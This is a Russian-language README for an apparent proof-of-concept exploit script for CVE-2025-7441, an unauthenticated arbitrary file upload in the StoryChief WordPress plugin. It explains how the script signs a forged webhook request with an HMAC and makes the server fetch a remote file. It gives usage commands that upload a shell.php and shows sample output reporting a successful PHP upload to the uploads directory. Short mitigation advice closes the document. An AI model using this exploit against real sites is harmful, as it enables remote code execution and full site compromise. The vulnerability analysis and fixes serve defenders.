
StoryChief <= 1.0.42 - Неаутентифицированная произвольная загрузка файлов
/wp-json/storychief/webhookdata.featured_image.data.sizes.full), и выполняет серверный HTTP-запрос GET по этому URL без достаточной проверки (отсутствует белый список доменов, недостаточная проверка MIME/содержимого, файлы сохраняются в общедоступные директории загрузок).wp-content/uploads/YYYY/MM/<имя_файла>). Если загруженный файл может быть интерпретирован/выполнен сервером (например, PHP-файл и сервер разрешает выполнение PHP в этой директории), это приводит к удаленному выполнению кода (RCE) и полной компрометации сайта.CVE-2025-7441)Этот скрипт автоматизирует типичный процесс проверки эксплуатации уязвимости:
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads/<ГОД>/<ММ>/<базовое_имя_файла>
Если файл отвечает кодом HTTP 200, скрипт сообщает об успехе; в противном случае выводит <не удалось загрузить>.
Скрипт включает следующие флаги: --file-url, --verbose, --use-curl и --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — Базовый URL целевого сайта. Пример: http://127.0.0.1:5000/ или https://target.example/--file-url — Переопределить URL удаленного файла, используемый PoC по умолчанию. По умолчанию: жестко заданный пример raw-ссылки на GitHub. Пример: --file-url https://127.0.0.1:5000/zip.php--verbose — Включить подробный вывод (выводит детали запроса/ответа и ход проверки).--use-curl — Использовать подпроцесс curl для отправки POST (запасной режим). Требует установленного curl.--retries — Количество попыток проверить ожидаемый путь загрузки на наличие файла. По умолчанию: 1. Используйте, например, --retries 5 для многократного опроса.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Указать свой URL удаленного файла
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Подробный вывод и несколько проверок
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Использовать curl для отправки POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
Вывод:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Устранение и исправление Краткосрочное:
Обновите StoryChief до исправленной версии, как только она станет доступна.
Заблокируйте или ограничьте /wp-json/storychief/webhook через WAF или правила сервера.
Ограничьте исходящие запросы сервера или трафик на ненадёжные домены.
Рекомендации разработчикам:
Проверяйте типы файлов и содержимое после любой удалённой загрузки; проверяйте изображения с помощью безопасных парсеров и отклоняйте недопустимые файлы. Требуйте аутентификацию для вебхуков, которые вызывают серверную загрузку или создание файлов. Убедитесь, что проверка HMAC/подписи реализована и используется. Сохраняйте загруженное содержимое за пределами корневого веб-каталога или отключайте выполнение загруженных файлов в wp-content/uploads.